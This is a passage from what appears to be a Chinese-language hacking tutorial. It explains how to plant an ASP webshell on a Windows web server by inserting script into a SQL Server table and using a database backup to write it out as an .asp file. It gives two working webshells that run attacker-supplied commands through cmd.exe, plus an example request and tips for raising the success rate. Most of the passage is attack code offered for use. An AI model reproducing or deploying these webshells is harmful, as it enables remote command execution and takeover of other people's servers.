|
use model
create table cmd (str image);
insert into cmd(str) values ('<% Dim oScript %><% Dim oScriptNet%><% Dim oFileSys, oFile%><% Dim szCMD, szTempFile%>');
insert into cmd(str) values ('<% Set oScript = Server.CreateObject(\"WSCRIPT.SHELL\")%>');
insert into cmd(str) values ('<% Set oScriptNet = Server.CreateObject(\"WSCRIPT.NETWORK\")%>');
insert into cmd(str) values ('<% Set oFileSys = Server.CreateObject(\"Scripting.FileSystemObject\")%>');
insert into cmd(str) values ('<% szCMD = Request.Form(\".CMD\")%><% If (szCMD <> \"\") Then%>');
insert into cmd(str) values ('<% szTempFile = \"C:\\\" & oFileSys.GetTempName()%>');
insert into cmd(str) values ('<% Call oScript.Run (\"cmd.exe /c \" & szCMD & \" > \" & szTempFile, 0, True)%>');
insert into cmd(str) values ('<% Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)%><% End If %>');
insert into cmd(str) values ('<HTML><BODY><FORM action=\"<%= Request.ServerVariables(\"URL\") %>\" method=\"POST\">');
insert into cmd(str) values ('<input type=text name=\".CMD\" size=45 value=\"<%= szCMD %>\"><input type=submit value=\"Run\"></FORM><PRE>');
insert into cmd(str) values ('<% If (IsObject(oFile)) Then%><% On Error Resume Next%>');
insert into cmd(str) values ('<% Response.Write Server.HTMLEncode(oFile.ReadAll)%><% oFile.Close%>');
insert into cmd(str) values ('<% Call oFileSys.DeleteFile(szTempFile, True)%>');
insert into cmd(str) values ('<% End If%></BODY></HTML>');
backup database model to disk='c:\\l.asp';
拷贝c:\\l.asp到你的web发布目录,再用浏览器请求一下,没有500错误的话,获得一个shell了,不过这个shell中垃圾数据实在是太多,要多按几下TAB键才能到输入命令的那个输入框。
实践中用FSO的webshell是很不方便的,另外一个可能的webshell是这样子:
use model
create table cmd (str image);
insert into cmd(str) values ('<%=server.createobject(\"wscript.shell\").exec(\"cmd.exe /c \"&request(\"c\")).stdout.readall%>');
backup database model to disk='g:\\wwwtest\\l.asp';
请求的时候,像这样子用:
http://127.0.0.1/l.asp?c=dir
如果不是sa的身份的话,也许declare @a sysname;select @a=db_name()会有一些用处。成功的几率,不敢说的太高,估计80%还是有的吧,如果通过这种方法得到了shell,其实会发现,有很多垃圾数据,也许还是个2、3M |
|